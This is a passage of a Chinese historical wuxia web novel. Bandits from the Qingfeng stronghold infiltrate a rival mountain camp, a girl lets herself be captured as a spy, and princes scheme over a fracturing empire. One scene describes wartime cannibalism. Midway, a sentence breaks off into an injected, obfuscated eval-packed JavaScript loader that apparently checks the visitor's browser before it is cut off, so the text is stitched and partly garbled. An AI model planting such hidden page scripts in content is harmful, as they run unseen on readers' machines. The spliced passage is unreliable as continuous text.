“咱们兄弟俩可算是有正事干了。上次刘大胡子攻寨,大哥让咱俩保护父老乡亲,可憋死我了。早就听说白崇山上的那个土匪窝杀人越货,肯定有不少好东西。”赵老三拿起桌子上的阴阳双钩挂在腰间。 而张老五腰间挂着子午鸳鸯钺,嘴里品着茶,不伦不类地做派,让赵老三忍不住吐槽道:“我说你成天整这些没有的干啥?你能喝明白什么茶?一个土匪,还摆上了书生公子的谱。人家吴嫂喜欢的是二当家那个人,不是随随便便跟二当家相似的人都可以的。” “他周老二就是一个落魄书生,若不是老子将他救回清风寨,他现在的坟头草都几丈高了。当时也不知道大当家怎么想的,让他成了清风寨的二把手,就连吴娘子也心悦于他。早知道,当年老子就不管他了,让他死了算了。”张老三越说越委屈,越说越肆无忌惮起来。 “嘘——”赵老三连忙制止他,呵斥道:“有些话憋在心里,说出来万一被人听见了,有你好受的。还有,二当家虽说是个文弱书生,但人家也有真本事。当年磐石寨攻寨的时候,要不是二当家献计,这清风寨早就成磐石寨的了。” 张老五冷哼道:“老子就不服气。” 赵老三安慰道:“行了,别想那么多了,赶紧收拾收拾东西,一会儿就要出发了。” 张老五虽然还愤愤不平,但还是听赵老三的话,收拾自己要拿的东西。 “赵三叔,张五叔。”元长安带着陈治找到了赵老三和张老五。 一见来人是元长安,他们二人立马扯了一张笑脸,赵三叔道:“原来是长安啊,找你赵三叔和张五叔有啥事儿?” 元长安一摆手,后面的小兵将三支神弓弩端了上来。 “这是陈怀久新做的神弓弩,比普通弓箭省力不少。大当家说你们今日要下山,特意让我送来。” 赵老三拿起其中一把神弓弩在手中打量了一番,“看起来是个稀罕物,先放这里吧,等一会儿我再给耗子送过去。” 元长安眼珠子一转,陈治就知道她又在打什么主意。 “我替两位叔叔送过去吧,反正我闲着也没什么事儿。” 赵老三也不做他想,说道:“行吧,你耗子叔在老地方等着呢。” 得了准信,元长安难掩眼中的欣喜:“好嘞!” ----------------- 郑吉在得知郑枫帮助尤氏铲除章伯雍一党之后,并且还得了一个摄政王的称号。他一天都在书房盯着大晋地图看,整个人显得十分阴沉。 “王爷,现如今京都变天,于我们而言,利弊参半。吴王入京,无疑是跳进了政权漩涡之中。虽说京都暗流涌动,盘根错节,生杀大权只在上位者的一念之间。但是,吴王的封地安阳邻近京都,一旦吴王下令南下勤王,我们的努力就都白费了。”柳全对京都的局势分析道。 郑吉又怎么会不知道,他的眉间皱纹到现在都没有舒展。“老四自从那场意外之后,再无子嗣的可能。现在自称摄政王,入住京都,是他只能达到的地步,只是不知道接下来又会发生什么。而且,尤氏狠毒,谁知道他会不会走章伯雍的老路?我们的局势也不见得有多好,少陵与京都之间隔着临川郡,历来临川太守只忠于皇上,若要靠近京都,必须拿下临川。只是,魏少连这个人,诡计多端,十分狡猾。想要攻下临川郡,实属不易。” 柳全从袖口掏出一封密信,双手呈递:“这是渭州传来的密信。” 郑吉展开一看,直接将信纸揉成一团,暴跳如雷:“该死的沈思成,竟然利用渭州世族,扶持老三称帝!” 柳全一直低着的头,猛地抬起:“临安王称帝?” 郑吉将密信扔给柳全,冷笑道:“现在他已经是南晋皇帝了。” 柳全细细读完,脸上震惊的神情转瞬即逝,然后琢磨道:“渭州虽昌盛,但昔时北人南迁,有兴利,亦多弊焉。” “说来听听。” 柳全一一列举道:“其一,人众繁杂,奸宄滋生,窃盗频发,治安不宁;其二,户籍难理,赋税杂乱,官府劳形,政令不畅;其三,地界不明,权属纷争,耕种无序,民生困顿;其四,北俗南风,相异难合,信奉有别,习俗冲突。此皆南都之弊,古来有之。” 郑吉将柳全的话听进了心里,脸色好转。而柳全继续道:“渭州与云州相邻,王爷您可别忘了,齐王和永王就在云州。临安王称帝,最着急的不是我们而是宫里的那位,还有齐、永二王。” “你说的有道理。”郑吉暴怒的情绪被抚平,“不管怎么说,我们现在是一定要先拿下临川。” 柳全上前指着地图之上的庆泽县,道:“庆泽县邻近清阳县,而清阳县以北,便是临川郡。王爷可一步步蚕食。” 郑吉与柳全双目对视,二人眼中闪过同样的精光。郑吉嘴角一勾,“可行。” ----------------- 因为刚下过一场大雨,路上泥泞不堪,马蹄溅起几丈高的泥水。 出了山寨,陈治看到元长安的双腿上,各自别着一把短刀,目测全长十三寸。一想到给赵老三和张老五送神弓弩的时候,元长安特意绕道沈让处,拿了他的蝴蝶双刀,想必是已经有了出寨的打算。 “陈怀久,怎么骑那么慢?”元长安驾马放慢了速度,后面的陈治才与她平齐。 陈治握紧了缰绳,说道:“你去白崇山,干嘛要带着我?” “我就是随口一问,谁知道你真的答应一块来了。”元长安说道。 陈治笑着说道:“长安亲自邀请,怀久必当亲往。” “那就快些。要不然天晚之前,我们赶不到白崇山。”元长安说完,夹紧马腹,疾驰而过,只听见余音:“快点跟上!” 位于前列的沈让扭头看了一眼后面的陈治和元长安,然后问崔涯道:“长安和陈治怎么跟过来了?” 崔涯也回头看了一眼他们二人,轻笑一声回道:“你是没见长安因为大当家不让她去,摆着一张臭脸。我敢肯定,她肯定不愿意待在寨子里。那还不如让他们跟着我们,至少我们还能看着她,要是让她一个人背着我们偷溜下山,万一出了什么事情,我们也不知道。” 沈让点点头:“你说的有道理。可陈治也跟过来,万一出了什么事情怎么办?” “生死有命,那就看他的造化了。”崔涯从来就不是什么老好人,毕竟在山寨待了十五年,经历的人世故,太多太多了。 而处在中间位置的张老五却道:“那小子怎么跟过来了?”他因为二当家周老二的缘故,对于手无缚鸡之力的书生甚是偏见。 赵老三宽慰道:“跟过来就跟过来了,只要不坏了我们的事情,就不必太过在意。” “最好是这样,如果他坏了我们的大事,我第一个饶不了他。” 赵老三微抬下巴指向元长安,说道:“我看长安这丫头,对他可是在意的很。” 张老五不屑道:“哪又如何,只要那小子做了对不起山寨的事情,就是大当家也护不住他。” 耗子是个圆滑人,打着圆场:“有你和老三在,他一个毛头小子还能翻天坏事不成?我们还是快些赶到白崇山,我看这天阴沉沉的,怕是又要下 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元长安席地而坐,坐姿大咧:“先摸清楚这白崇山上,上番轻骑兵的底细,看看他们住在哪里,有多少人。剩下的,就看大当家他们抉择。先不说这些了,你的眼睛还能看见东西吗?” “天色还不是很暗,三丈之内,我还是能看清楚的。而且,我对环境特别敏感,即使看不到,凭感觉也是能行动自如的。” “那就好,没想到你还挺厉害。” “不值一提。” 陈治刚想与元长安等人一样,席地而坐,就见元长安伸手拿过来不远处的一块木板,然后用衣裳的下摆擦拭干净,放到自己的旁边:“坐吧。” 不止陈治一个人觉得元长安的举动关照的过于细心,沈让看到之后,开口问道:“我说长安,你什么时候这么细心了?” 崔涯用手肘顶了一下沈让的胸口,轻声道:“你还看不出来?这长安怕是对陈治有了心思,毕竟这陈治长得是真好看。” 沈让恍然大悟,低声回道:“没想到长安还是个看脸的。” 而元长安咬了一口干饼,“你什么时候送我一块好玉,我也对你细心。” 这时,大家才发现元长安脖子上有一根红绳,想来是戴着什么东西。经她这么一说,那必是一块玉坠子。耗子一听到好玉,那双细长似狐眸的眼睛,闪过一丝精光。他走到元长安身边,笑嘻嘻地说道:“长安,你耗子叔叔最是识货,让我看看是什么好玉?” 元长安往陈治的方向挪了挪屁股,离耗子远了一些,“耗子叔,你以为我不了解你。只怕我前脚让你替我识玉,后脚就弄一个假的出来给我替换掉。” 耗子尴尬地笑了笑,嘴里嘟囔着:“我就随便看看,看你这丫头说的。”然后坐回了原位。 突然,破庙外传来一阵悉悉索索的声音,像是有人在缓慢靠近。沈让和赵老三立马用土将火堆扑灭,然后所有人都隐于暗处,手持武器,静观其变。 陈治与元长安二人躲藏在一处狭小的空隙之中,还好元长安身材娇小,二人堪堪藏住了身子。但他们二人的身体紧紧贴在一起,元长安背对着陈治,没有发现他涨红的脸。 破庙的烂门被一阵风吹开,外面的骤雨不知道什么时候已经停了。一群身穿粗布麻衣的持刀人,蹑手蹑脚地进了破庙里。 “刚刚还看到这里有火光,怎么又没了?孙护军,会不会让他们跑了?” “闭嘴,这破庙的所有窗户都是封死的,除了大门,他们无路可去。我们从大门摸进来,没有看到一个人影,他们肯定还在这个庙里面。给我搜,一定要把他们找出来。” “是。” 元长安知道这次他们是跑不了了,她转过头对着陈治招了招手,陈治附耳过去。元长安在他耳边低语了几句,陈治觉得十分可行,但还是凑到她的耳边轻声道:“一切都要小心。” 那群人用火折子点燃破庙木柱子上的火把,在庙里面来回摸索,眼看就要找到躲在一起的沈让、崔涯、耗子、赵老三和张老五,他们也已经握紧兵器,随时冲出去拼杀。 “你们是在找我吗?” 突然破庙的门口处站着一个女孩,双臂环胸,神情嚣张。其中一个身材瘦削的男人,被手下称为孙护军。他用刀指着元长安,面目凶恶:“你是谁?怎么就你一个人?” 元长安靠在门框处,一只脚踩在门槛之上,“我是谁,你还不配知道。还有,我不是一个人,难道我身边还站着鬼吗?” 孙护军显然不相信,“小姑娘,别耍什么花招。快说,你的同伙在哪里?” 沈让见元长安现身人前,若不是崔涯阻拦,他怕是也暴露了。沈让看向崔涯的眼神,满是不解。而崔涯只是对他摇摇头,示意不可轻举妄动。 “同伙?”元长安冷笑一声,“我蝴蝶刀行走江湖,独来独往,还真不知道同伙是什么东西。” 孙护军看着面前半大的小姑娘,一点都不信任,“你说你是蝴蝶刀?我看你还没我的刀高,还自称蝴蝶刀。” “本姑娘行不更名,坐不改姓。就是蝴蝶刀夜云,信不信由你。”元长安说谎脸不红心不跳,骄傲自满的神态,让躲在暗处的众人都快要相信了她的话。 “我看你是敬酒不吃吃罚酒!” 孙护军见她神色坦荡,也是半信半疑,毕竟谁也没有见过蝴蝶刀夜云的真实面目。他抬手一挥:“统领有令,凡入白崇山,都不能留活口。杀了她!” 众人得令,提刀砍向元长安。元长安拔出双腿外侧的蝴蝶双刀,挡住来自上方的砍刀,然后一个下腰滑铲至几人身后。手起刀落,砍杀离她最近的两个持刀人。 元长安转身面朝孙护军,孙护军看着神情不变的元长安,心中惊惧,但仍旧壮起胆子大喝一声:“兄弟们,给老子杀了她!” 元长安一边向庙外闪避着,一边挥舞双刀与众人对打。她身形灵动,速度极快,只片刻间就斩杀了好几人。 退至庙外,元长安一个旋身飞踢,踢中最前面一人小腹,将其踢翻在地。接着她双手持刀,向后劈斩,只听得“叮叮当当”一阵响声,所有刀身尽数断裂。 元长安收好双刀,转过身来望着孙护军,嘴角微扬,露出一抹讥笑,“你们也不过如此嘛,还敢叫嚣着要杀我。这些断刀,就是我给你们的教训。” 孙护军看着被打得狼狈不堪的众人,又看看毫发无损站在原地的元长安,心里的恐慌不断扩散。 元长安将目光移到三哥身上,孙护军只觉浑身发冷,下意识后退了两步,颤抖着道:“你,你真是蝴蝶刀夜云?” “是与不是,我想已经不重要了吧?”元长安转过身,背对着孙护军。 在她抬腿就走的时候,身后突然飞射过来一根针。元长安回身防备之际,却是慢了一步,被针扎中了左肩膀。她感觉到一阵眩晕,倒在了地上。 一直埋伏在破庙屋顶处的红衣男子,跳下屋顶,站在孙护军身边。 “冯护军,多亏了你。”孙护军有一种劫后余生的感觉。 红衣男子冯护军,面容清俊,却傲气十足,“此人武功高强,想必定是蝴蝶刀夜云。我们把她带上山,交给我干娘定夺。” 孙护军也同意他的说法:“若能为我们所用,也是一大助力。” 在没人发现的地方,元长安的眼睛动了一下。 7. 女匪裴四娘 元长安被人背走之后,耗子先出来探清楚情况,确定那行人走远之后,点燃火把,让沈让他们走了出来。 “崔涯,刚刚你为什么不让我去救长安?现在她被那些歹人带走了,我们去哪里救她?”沈让急得直挠头。 赵老三见元长安被那些人带走,心里不着急是假的,毕竟她是跟着自己出来的。万一真出了什么好歹,自己也没办法跟沈老大交代。 崔涯却认为元长安不是那种没有头脑之人,他说道:“长安不是莽撞的人,她定是有用意。” 陈治接话道:“先不要着急,你们看。” 众人顺着陈治手指的方向,看到地上有一道断断续续的白色痕迹。 耗子问道:“这是?” “这是长安留下来的记号,顺着这个记号,我们就能找到上番轻骑兵。现在刚下过雨,地面上有不少水渍,我们需要赶快顺着痕迹跟上去。”陈治来不及做更多解释,只能三言两语简单说了一下。 赵老三也知现在不是说废话的时候,直接决定:“我们赶紧跟过去。” 雨后的山路,泥泞而滑溜。众人的足迹仿佛一条巨大的蚯蚓在上面爬行,留下一道深深的印记。周围的空气弥漫着雨水和泥土混杂的土腥味。 崔涯等人顺着他们的脚印和元长安留下来的白色痕迹,在保持一定距离的前提下,缓缓前进。 而陈治随着天色越来越暗,他的视线也越来越模糊,直到一片漆黑。不过,他凭着听觉,小心翼翼地跟在大家身后。 ----------------- “孙护军。”一个身材矮小,面容贼相,留着胡须的中年男子靠近孙护军道。 而孙护军只是淡淡地看了他一眼,没有说话。 那人继续道:“护军,小的按照你的要求,已经安排妥当,只等护军一声令下……” “嗯?” 孙护军出声制止了他,那人连忙闭嘴点头哈腰。 不知过了多久,那人又开始嘟囔道:“那裴四娘一介女流,还是个杀猪女。她坐上这统领之位,寨中弟兄根本就不服。而护军本是将臣之后,曾是官身,只因上位妒贤才沦落至此。若护军能当上统领,可比那裴四娘更能令人信服。” 孙护军瞥了一眼最前面的冯护军,然后一巴掌拍在那中年男子的后脑处,低声怒喝道:“蔡义方,你知道你在说什么吗?!裴统领是建寨之人,寨里的弟兄也都是多亏了裴统领收留,你这话岂不是要陷我于不忠不义之地?!” 蔡义方点头哈腰地认错:“是小的口无遮拦,还望孙护军恕罪。” 孙护军清了清嗓子,压低自己的声音,道:“我做的那些事情,都是为了寨子和兄弟们,你可不要歪解我的用意。还有,冯子嵇是裴统领的义子,要是你刚才的话被他听到了,你我都死无葬身之地。” 蔡义方恍然大悟:“孙护军教训的是,是小的鲁莽了。” 蔡义方环视四周,压低声音,确保只有他们两个人听见:“孙护军,刚刚小的所说,句句属实。寨子里很多弟兄,对孙护军可是佩服的五体投地。” 孙护军想保持冷静的面容,还是有一丝裂痕。蔡义方察言观色,知道自己没说错话,就更加肆无忌惮了。“孙护军……” 孙护军抬手制止的要开口的蔡义方,“现在不是说这些话的时候。” “明白。” 元长安将他们的谈话听得一清二楚,心里还有了思量。 说是寨子,实际上是一座破庙,经过修缮扩张,成了现在所谓的寨子。山寨地势险峻,建在峭壁,北靠绝壁,面向开阔的山谷,易守难攻。唯一的出入口是一条狭窄的山路,山路曲折蜿蜒,两侧设有防御工事。 孙护军和冯子嵇回到了寨子,将元长安带到裴四娘的面前。 裴四娘头簪大红鲜花,鬓边平添了几缕白发。她面貌秀丽,鲜有皱痕。身高七尺有五,体材健壮,丝毫没有京畿贵女的柔弱之感。能自称统领,掌驭寨子中那么多心怀叵测之徒,没点威严和能力怎么能行?她的腰间别着鞭子,鞭子很粗,上面还有隐隐约约细小的尖刺,怕是一下就能要人性命。 “干娘。”冯子嵇对裴四娘最是尊重,收起了往日的傲气。 裴四娘坐在上位,两边是手持长柄□□的黑脸大汉,为左右护法。他们二人面露凶相,双眼怒睁,一副凶神恶煞之相。孙护军每每看到他们二人,心里就只打颤。而他们两个却是对裴四娘甚是忠心,他若想夺权,必须先将这两个护法干掉。 裴四娘侧头看着被抬上来的元长安,眉眼之间写满了疑惑:“嵇儿,这是谁?” 冯子嵇汇报道:“此人自称蝴蝶刀夜云,并夜闯山下的破庙。儿子与孙护军带人,欲将她和往常那些人一样,处理了。但此人武功上等,耍的一手蝴蝶刀,应是夜云无疑。所以儿子用迷魂针偷袭,将她带回寨子,由干娘决定此人是生是死。” 裴四娘双腿一张,微微俯身,小臂撑在大腿之上,“夜云?那夜云的传闻已经传了几十年了,我看这小丫头也就十岁左右的样子,怎么可能是夜云。” 冯子嵇还没来得及开口辩解,孙护军插嘴道:“统领,此人虽不是夜云,但她武功高强,可以招入寨子。” 裴四娘思虑片刻,便对孙护军说道:“孙诗正,你将人关进柴房,等她醒了,再好好套话询问一番。若是普通百姓,就招她入寨子。若是别用有心的话,直接……” 裴四娘做了一个抹脖子的动作,孙诗正心领神会:“明白。” ----------------- 薛明礼在太守府待了多日,与马绍宗也商讨过几次关于定襄郡的治理,二人惺惺相惜。 一日,马绍宗在前厅唉声叹气,十分沮丧。薛明礼见状,便开口询问道:“大人为何如此闷闷不乐?可说与薛某一听。” “现在不只京都局势变化莫测,听说临安王在渭州称帝,自称南晋皇帝。现在大晋外有异族入侵,内有政权分裂。就是不知道,我定襄的出路会是哪一条。”马绍宗突然感慨道。 薛明礼却道:“定襄的出路,不就在大人手上吗?” “何解?” “北部沦陷,国有两朝,内乱不止。如此乱世,大人何不自谋出路?反正天下已乱,各地藩王、反晋军以及手握兵权的封疆大吏,大多逃离了朝廷的掌控。定襄地处京畿九郡之一,与少陵有一曲河阻断,乃为天险。东靠宜耕宜牧的涧口,此为地利。定襄虽不如京都、临川那般繁华,但来往百姓皆为难民,若能妥当安置,当为人和。”薛明礼一边说着,一边用中指沾着茶碗里的水,在桌面上简单画了一下定襄郡的地理优势。 马绍宗不是没有考虑过这些问题,但有些确实难以办到:“涧口虽有一小部分属于定襄,但终归还是属于常山郡。” “大人,土地可没有属不属于之说,只有强者分配。”薛明礼看着马绍宗的眼神,意味深长。通过这几日的相处,薛明礼大致了解了马绍宗这个人,确实是求贤若渴,也确实是因是武阳君后代而有鸿鹄大志。但此人更多的是,伪善。有野心,却总想着师出有名,还必须是贤名。 马绍宗听了他的话,心中一动,但还是强压内心的激动:“可是……” 薛明礼知道他在等一个名头,可他却选择对他说了别的事情:“若大人担心一旦贸然发兵,周沪生和梁仲会趁火打劫。那不妨与徐水郡的燕山军大将军聂鸿生,或者东莱郡的昱王,亦或者是厉阳郡的周城侯达成盟约。 不过,常山王的小妾好像是聂鸿生的女儿,想来聂鸿生不会与大人合作。而昱王向来是置身度外,偏安一隅,让他出兵,几乎没有可能。至于周城侯,虽说他称得上乱世枭雄,从一个百户侯到现在的厉阳郡一把手。但他一向无利不起早,与他合作,条件必须能打动他。” 越说,马绍宗就越心动,脸上的动容越来越明显。薛明礼继续道:“若大人同意,在下愿为大人奔走,效武阳君为闾昌公四处游说之姿。” 武阳君就是马绍宗无法拒绝的理由,“好,本官就在太守府等候先生佳音。” ----------------- 陈治和耗子费了很大功夫,才摸到了柴房的位置,见门口有两个小兵守卫。他们二人一人一支神弓弩,各自瞄准一个小兵,一击命中。 还好柴房门口挂着两个大灯笼,有亮光,要不然陈治还真不一定能射得着人。 耗子举着手中的神弓弩,像是发现宝器一样,对陈治大加赞赏:“可以啊小子,你这神弓弩做的真不赖。” 陈治可没有时间跟他客套,现在元长安的情况尚且不明,他怕自己慢一刻,她那边就多一刻危险。 “耗子叔,救长安要紧。” 耗子被陈治这么一提醒,脸上也出现了窘意,“我知道,我知道。” 二人将那两个小兵拖到阴暗处隐藏好之后,猫着腰到了柴房。柴房的门被一把大锁锁着,耗子从那看门小兵身上拿到的钥匙,正好开门。 二人悄悄推门进去,透过窗外照进来的月亮,耗子点燃了屋里的蜡烛。他们看到地上的担架之上空无一人,只有一捆麻绳。陈治惊慌之余,脱口而出道:“长安?” “你们怎么才来?”元长安从房梁之上一跃而下,落在陈治身边。她明显感觉到陈治看到自己的那一瞬间,眉目舒展,并且松了一口气。 “此山寨背靠峭壁,着实险峻,只有一条陡峭的山路。我们从山上爬下来的时候,耗费了不少时间,还差点被放哨的小兵发现。”陈治解释道。 耗子看到外面一片安静,时不时有几个小兵在巡逻、瞎逛。他说道:“我们赶紧去找赵老三他们汇合,看他们将这寨子摸清楚了没有。” 元长安不经意间看到门框上沾染的血迹,心中已有定论,她想道:原来这陈怀久还不是那么柔弱无用。 沈让和崔涯先到了约定地点,看到元长安平安无事,二人心中悬着的心终于落地了。 “你们这边什么情况?”耗子问道。 沈让回道:“这个山寨分为上下两个寨子,中间相隔十丈有余,他们去上寨都是通过上面的人控制升降木篮。” 正巧这个时候赵老三和张老五也来到了约定地点。 “好家伙,我和老五从那个上寨上面爬下来,在上寨发现了一个马厩。里面的马各个健硕彪悍,比我见过的马品色好了不知道多少。而且,我敢保证,那些马不可能是我大晋的马匹。”赵老三气息有些喘,刚才爬上爬下的太费体力。地势太过陡峭,一不留神就会命丧于此。 张老五补充道:“上寨应该是他们的主寨,他们的统领和护军,都住在上寨。而且,巡逻兵不仅人数多,还很谨慎。我和老三害怕暴露,就没敢摸得太清楚。” 崔涯道:“下寨虽然把守不多,但是四个角落都有一个瞭望塔,每个塔上有两个人。巡逻小队五个人为一队,大概有两三队一起巡逻。” “时辰有限,容不得我们近一步摸索。刚刚我和耗子叔救长安的时候,杀了两个看门的小兵。我们可以换上他们的衣服,留在寨子里静观其变。其他人先回清风寨,等待消息。到时候可以里应外合,一举拿下。” 耗子一拍大腿,激动道:“这个主意好。你们谁准备留在这里?我是要回去跟大当家汇报情况,而且到时候我还得带路。”耗子心里盘算着自己的小算计,留在这里太过危险,有些事情还是需要适合的人去做比较好。 在场的人谁不知道耗子的小九九,他这个人最大的毛病就是贪财怕死,但是对沈老大又是忠心不二,也是个怪人。 “我留下来。”元长安不和他们多说无用的废话,“他们正打算将我收入寨中,我也正好顺水推舟,留下来探查此寨的情况。” 陈治见元长安要留下来,也直接开口道:“我也要留下来,我虽然没什么武功,但是我记性好,什么东西看一遍就忘不了。只要让我在这寨子里转一圈,我就能把寨子里的布局和情况记得八九不离十。” 可元长安担心他的眼睛,刚想说话,只见崔涯仰头看向山上的位置,出声提议道:“山上的情况,我觉得也应该摸清楚。这样吧,我和三叔、五叔去山上走一圈,转一转。长安、陈治和沈让留在寨子里,随机应变。耗子叔回清风寨,等我们的消息。” 沈让应和道:“这个办法可以。” 不只是沈让,其他人也觉得崔涯的建议可以采取。耗子是最乐意的了,只要不把他留在这里就行,其他的他不管。 就这样,元长安也只能妥协了。 耗子跟着崔涯、赵老三和张老五爬上了山的地面,然后和他们分道扬镳。崔涯拿出自己的匕首,在最近的一棵大树上刻了一个记号,“我们往里面走走。” “我觉得我们还是分头行动比较好,整座山头那么大,一起的话太慢了。”赵老三借着月光环顾四周,树木繁茂葱茏,树冠如云似盖,树干挺拔粗壮。月光透过森林的树梢,洒在地面,形成一片片斑驳的光影。 张老五表示赞同:“老三说的有道理。如果发生什么情况,就吹哨子,也好接应。” 崔涯是小辈,见他们两个长辈都表态了,自己当然没什么好说的,“都听两位叔叔的。” ----------------- 沈让和陈治换好那两个死去的小兵的衣服,又找了一个稍显荒凉的地方将他们两个就地掩埋,然后他们回到了柴房。 “陈治,你穿上这衣服一点都不像土匪,整个人文绉绉的,一看就是个读书人。再说了,你这个脸太惹人注意了。”沈让第一次觉得,老天是不公平的。他们穿着同样的衣服,为什么陈治穿起来贵气又书卷气。而且他那张脸,绝对是女娲娘娘的炫技之作,他的五官每一处都恰到好处,多一分少一分都不行。 元长安也点头同意。 陈治见元长安一脸认真地点头同意,轻轻一笑,用手中的黄布蒙上下半张脸,“还好他们寨子里的小兵都是蒙面的,要不然我们两个谁也瞒不过去。” 即使蒙上下半张脸,陈治那双勾人的眼睛露在外面,特别是那颗红色的滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在平州,他们把人分为三个等级。一等人,称作骨烂,只有那些皇亲国戚才配得上一等人。听说他们做成熟食,就连骨头都是酥软可口的。二等人是那些达官显贵、乡绅豪族,被称作不羡羊。因为他们的肉质,像羊肉一样滑嫩。” 元长安故意停顿了下来,不出所料,陈治的脸苍白无血色,神情很不好,甚至有呕吐的迹象。 她继续道:“而最下等的烧火把,就是平民百姓。肉质又老又柴,非常不好吃。但是,这却是成本最低的肉食来源。我曾经去过平州齐都郡,那里的人都不算是人。他们眼里只有活着,不择手段的活着。易子而食、圈养女人食之。城墙上、街头和巷尾,到处都是尸骨和头颅。你知道为什么会出现这种情况吗?” “因为上番侵占平州,齐都太守甘做丧家犬。战乱导致田园荒芜,一连几年都颗粒无收。粮食短缺,人性就容易暴露。首当其冲的就是,齐都地界上的郡王爷、翁主等皇亲国戚,成了上番人桌上的骨烂。其次就是赋闲在家的高官显贵,若有不从就会变成不羡羊,入了上番人和依附上番人的走狗的肚子。 而上番首领剥削严苛,赋役繁重,齐都郡的百姓每天都生活在水深火热之中,无食无粮,难以生存。所以人吃人,成了普遍。也因此,被列为最下等的肉质,烧火把。我曾潜入过齐都太守府,那是我第一次清楚的认识到,什么叫夜夜笙歌,什么叫歌舞升平。” “繁华落尽春宵短,锦衣玉食乐无边。不闻民间疾苦声,但见歌舞升平天。 陈怀久,大晋早就烂了。” 陈治和元长安不一样,他是百年世家之后,也是少陵陈氏的佼佼者。从小学的就是君臣之道,以后要做的就是入仕拜相,为家族带来光辉和荣耀。虽然他正在见证着大晋的腐烂,记恨着恒、吴二王的灭族之仇。但是,他不会去想着反抗皇权,更不会去想如何颠覆郑氏政权。 而元长安本人就是这个乱世之中的苦难者。她不知父母,在清风寨长大。六岁之后,她跟着沈让和崔涯经常偷偷溜下山,一溜就是好几天。就是这几个好几天,让元长安深刻感受到在动荡的乱局之中,活着是那么的艰辛。 陈治是拨乱反正的拥护者,而元长安是皇权正立的反叛者。 “长安,或许是我错了。” 次日一早,裴四娘带着冯子嵇来到了柴房,沈让替他们打开了柴门。元长安席地而坐,手被麻绳反绑着,坐姿挺直,一副不卑不亢的样子。裴四娘对她这副模样,升起一丝好感。她顺手拿过旁边的木椅子坐下,冯子嵇站在身后一侧。 今日裴四娘头上的红花变成了紫色的牡丹花,“小姑娘,你叫什么名字?今年多大啊?” 元长安直视着裴四娘,“元晨,十三岁。” 裴四娘抬起手,冯子嵇会意将手里的蝴蝶双刀交到裴四娘手中。裴四娘将蝴蝶双刀丢到元长安的面前,意带试探道:“这把蝴蝶双刀可是个稀罕物,我没看错的话,应该是前齐开国异姓王白怯的佩刀。你小小年纪,是从哪里搞来的?” 元长安低眸看着地上的蝴蝶双刀,随口道:“偷的。” 裴四娘是不相信的,她翘着二郎腿,“小姑娘,我看在你年纪小,不忍心杀你。但是你别敬酒不吃吃罚酒,老娘这辈子最讨厌骗子。小姑娘,最好老老实实地交代清楚,我还能放你一马。” 在众人看不到的地方,元长安眼底闪过一抹杀意。随后,她神色低落,道:“这把刀,是我爹临死前给我的。” 说着,她抽泣了几声:“我和我爹被上番那群畜生选中,成了他们围猎的猎物。我爹为了保护我,把我偷偷藏了起来,还给了我这对蝴蝶刀护身。等到那些畜生围猎结束了之后,我才出来找我爹。可是…可是……”眼泪和抽泣,代替了元长安后面的话。 裴四娘一听上番人,脸上顿时浮现出愠怒之色:“这群该死的畜生,总有一天会将他们赶尽杀绝。” 门外的陈治听到了裴四娘气愤不已的话,心里也在盘算。 “元晨,我听嵇儿和孙护军说你武功不错。正好我们寨中有个练武的台子,让我瞧瞧你的真本事。如果能入了我的眼,我就放了你,是去是留都由你。如果你名不副实,那就别怪我不客气,要了你的命。但是,我寨中的规矩就是,非我寨中人,踏入白崇山者,必死无疑。怎么样,愿不愿意比试一番?” 同情归同情,但是规矩不能破。 而这正合元长安的意,她略微思考了片刻,“我还没给我爹报仇,所以不能死,我答应了。” 闻言,裴四娘还是很欣慰的。 “嵇儿,松绑。” 冯子嵇一脸不悦,但他又不能违反裴四娘的命令,只得心不甘、情不愿地给元长安松了绑。 裴四娘对元长安道:“你先休息片刻,等一会儿我会让人给你送来吃食。吃饱喝足之后,练武台上见。” 说完,裴四娘就带着冯子嵇离开了。 元长安活动着被绑了些许时辰的手腕,“有架可以打,真不错。” 8. 上番轻骑兵 陈治端着饭菜推门进来的时候,没有看到元长安的身影,惊慌之后,他抬头看向房梁处。果不其然,元长安正晃动着耷拉在半空的两条腿,无所事事地盯着角落处的鸟窝。 “下来吃饭了。” 元长安跳下房梁,接过陈治手里端着的稀粥和野菜,“还挺不错啊,有粥有菜。”她将托盘放到木椅子上,自己坐在地上吃了起来。 “你们吃了吗?”元长安吃饭的空档还不忘关心陈治和沈让有没有吃饭,“你要是没吃,我把我的饭分给你一点。” 说着,她将喝了一半的粥递给陈治,但是眼中流露的不舍,让陈治哭笑不得:“我不饿,你自己吃吧。” 元长安收回伸出去的手,眉宇之间的喜色溢于言表。陈治感觉自己对她的认识,一直在不断地深入。 “刚刚我去替你端饭的时候,看到冯护军带着一小队人马出去,应该是下山了。那些马,毛发亮丽,四肢强壮,眼睛有神,一看就是好马,应该就是耗子书说的上番马。” 元长安喝完最后一口粥,顺着最后一片野菜叶子:“那个孙护军,心思不正。裴四娘虽是统领,但手底下的人看她一介女流,早有不服之心。而那个孙护军,应该就是为首者。” 一想到一会儿元长安又要去和别人比试,陈治不由得担心道:“你现在身体感觉怎么样?” 元长安活动着自己的胳膊,“放心我现在好的很。”说着,将脖子上的玉牌取了下来,交到陈治手上,“我戴着它,不好施展,你帮我保管好,等我比完了再还给我。” 陈治替她收好玉牌,然后说道:“等你比试的时候,我和沈大哥趁机在寨子里转一转。” “沈让我不担心,主要是你,小心一点,这里的人可不会跟你讲道理,情况不对就赶紧跑。”元长安觉得有必要对他多说几句,“这个是毒粉,只要吸进去一点,就会迷失心智,任人宰割。你拿着,万分危急的时候,还能防身用。” 陈治看着手中的小瓷瓶,心中的感动不是假的。他道:“你倒是一直为我考虑。” 元长安靠坐在柴草堆上,翘着二郎腿:“我呢,虽然不是什么好人,野蛮暴戾,但谁对我好,我也对谁好。咱俩不是一路人,但你是个好人,还送我那么贵重的玉牌,我肯定要记着你的好。” 陈治走上前,弯下腰轻轻弹了一下元长安光洁的额头:“你怎么就不是好人了?能记得别人对你的好,就已经很不错了,别贬低自己。古人云:投我以木桃,报之以琼瑶。善莫大焉。更何况,世间纷扰多纷争,我自独守一片宁。像你这般性情之人,也是寥寥可数。” 